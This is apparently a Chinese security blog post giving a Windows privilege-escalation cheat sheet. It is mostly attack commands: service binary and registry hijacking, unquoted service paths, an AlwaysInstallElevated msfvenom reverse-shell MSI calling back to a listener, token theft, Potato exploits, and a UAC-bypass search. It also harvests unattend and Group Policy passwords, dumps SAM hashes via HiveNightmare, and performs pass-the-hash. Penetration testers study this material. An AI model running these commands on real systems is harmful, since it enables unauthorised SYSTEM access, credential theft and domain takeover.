免责声明**:**由于传播、利用本公众号SSP安全研究所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号SSP安全研究及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
1►
系统内核漏洞提权
https://github.com/bitsadmin/wesng or pip install wesng
1. 导出systeminfo
2. 使用WES-NG查找可用漏洞
python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
指定漏洞类型为提权漏洞
python3 wes.py systeminfo.txt --impact "Elevation of Privilege" --exploits-only
查找所有已公开EXP的提权漏洞
2►
系统服务提权
不安全的服务权限
1. 上传accesschk.exe 和 msf生成的木马
2. 查找权限 accesschk.exe -uwcqv "Administrators" *
3. 选取一个具有高权限的服务 替换二进制程序为payload
sc config EapHost binpath= "C:\Users\Administrator\Desktop\hello.exe"
服务注册表权限脆弱
1. 通过AccessChk枚举目标主机中“Authenticated Users”用户组具有写入权限的服务注册表C:\Users\Administrator\Desktop>accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
2. Authenticated Users对RpcEptMapper有控制权限,将注册表中ImagePath键指向payloadC:\Users\Administrator\Desktop>reg add HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Administrator\Desktop\reverse_tcp.exe" /f
3. 查询当前用户是否有该服务的重启权限accesschk.exe /accepteula -uvwqk "Authenticated Users" RegSvc
4. 重启服务 或 重启计算机 上线CS
服务路径权限可控
如果目标主机上用户存在错误配置或操作,使得一个低权限的用户对此服务调用的二进制文件或其所在目录拥有写入权限,那么可以直接将该文件替换成攻击载荷,并随着服务的启动继承系统权限。
1. 用AccessChk查看apache这个服务的二进制文件所在目录是否有写入权限accesschk.exe /accepteula -quv "C:\Program Files\Internet Explorer"
将服务二进制文件替换为同名的payload 重启服务上线CS
未引用的服务路径
Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。无引号服务路径有可能会导致这种情况的发生。所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样
C:\Program Files\Some Folder\service.exe
windows会安装从左到右的顺序依次尝试寻找并执行与空格之前名字相同的程序 Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
用以下命令来搜索哪些服务路径没有包含引号
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
枚举出两个结果,可见第二个服务vulns的路径是包含空格的,所以其可能存在漏洞
查看是否有写入权限 发现\wgy\具有写入权限
accesschk.exe /accepteula -quv "c:\Program Files\" && accesschk.exe -quv "c:\Program Files\wgy\"
或者使用icacls查看
icacls "c:\Program Files" && icacls "c:\Program Files\wgy"
此时向"c:\Program Files\wgy"目录上传一个名为test.exe的poc
copy beacon.exe "c:\Program Files\wgy\test.exe"
服务重启后,系统会按照前文说过的顺序依次检查服务路径,当检查到"c:\Program Files\wgy\test.exe"时,攻击载荷将以system权限运行
MSI安装策略提权
1. 判断系统是否存在漏洞reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2. 开启AlwaysInstallElevated选项reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
3. msf生成msi木马 并且监听msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.135 lport=4444 -f msi -o res.msi
4. 上传木马并执行msiexec /quiet /qn /i res.msi
3►
访问令牌操纵
利用msf窃取令牌
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
steal_token
通过令牌获取TrustedInstaller权限
sc start TrustedInstaller
steal_token 3800
Potato家族提权
查看当前用户权限,是否符合要求whoami /all
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
###### Rottenpotato(烂土豆)
[https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe](https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe)
```java
upload ~/script/priv/potato.exe c:/
use incognito
list_tokens -u
execute -cH -f C:\potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
Juicy Potato
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
1. 上传JuicyPotato.exe 和 shell.exe 到目标主机
2. JuicyPotato.exe -t t -p "shell.exe" -l 4444 -n 135 -c CLSID
3. CLSID参考 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
https://github.com/uknowsec/JuicyPotato
4►
Bypass UAC
UAC白名单
白名单特性 Manifest数据中autoElevate属性的值为true
1. Sigcheck检测程序是否具有autoElevate属性,例如sigcheck.exe /accepteula -m C:\Windows\System32\ComputerDefaults.exe
2. Strings找出所有具有autoElevate属性的程序strings.exe /accepteula -s C:\Windows\System32*.exe | findstr /i "sutoElevate"
5►
用户凭据操作
枚举Unattended凭据
无人值守安装会在系统残留配置文件可能包含管理员用户名密码C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\syspreg\system32\sysprep.inf
C:\syspreg\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\system32\Sysgrep\Unattend.xml
msf模块 post/windows/gather/enum_unattend模块可以自动检索
获取组策略凭据
微软在Windows Server 2008 中引入了组策略首选项, 允许网络管理员对指定计算机和用户配置特定的设置 在新建一个组后, 控制器会在SYYVOL共享目录下生成一个xml文件, 改文件保留了组策略更新后的密码。SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本的共享文件夹, 主要存放登录脚本,组策略数据以及其他域控制器需要的域信息等, 并在所有结果身份验证的域用户或者域信任用户范围内共享 在SYSVOL目录中可以找到一个名为Groups.xml的文件,其中的cpassword字段保存了经过AES 256加密后的用户密码, 微软在2012年公布了加密秘钥, 这就意味着域内用户都可以读取Groups.xml中的密码并使用公开的秘钥进行解密。且由于通过组策略批量修改的本地管理员密码都是相同的, 这就意味着拿到一台机器的本地管理员密码就拿到了域控账户进而通过域管账户拿下整个域。msf post/windows/gather/credentials/gpp模块可以自动搜索SYSVOL共享目录中的XML并解出用户密码
HiveNightmare
该漏洞可以以system权限运行任意代码。条件 已启用系统保护 存在已创建的系统还原点 启用本地管理员账户
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
1. 检测是否存在漏洞icacls C:\Windows\System32\config\SAM如果输出 BUILTIN\Users:(I)(RX) 表示该系统易受攻击,如下
在获得 SAM、SECURITY、SYSTEM 文件后,我们就可以使用 secretsdump.py 获取目标用户的 hash了。
# python secretsdump.py -sam sam文件 -system system文件 -security security文件
python secretsdump.py -sam SAM-2023-01-30 -system SYSTEM-SAM-2023-01-30 -security SECURITY-2021-SAM-2023-01-30 LOCAL
得到用户的哈希值后,可以对其进行暴力破解,也可以直接使用本地管理员用户进行哈希传递,从而获取system权限。由于是在同一台计算机进行哈希传递,所以无需管理员关闭防火墙也能进行哈希传递
python wmiexec.py administrator@192.168.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:4142ea6b86c97a94caf82f7bc9144814
6►
往期精彩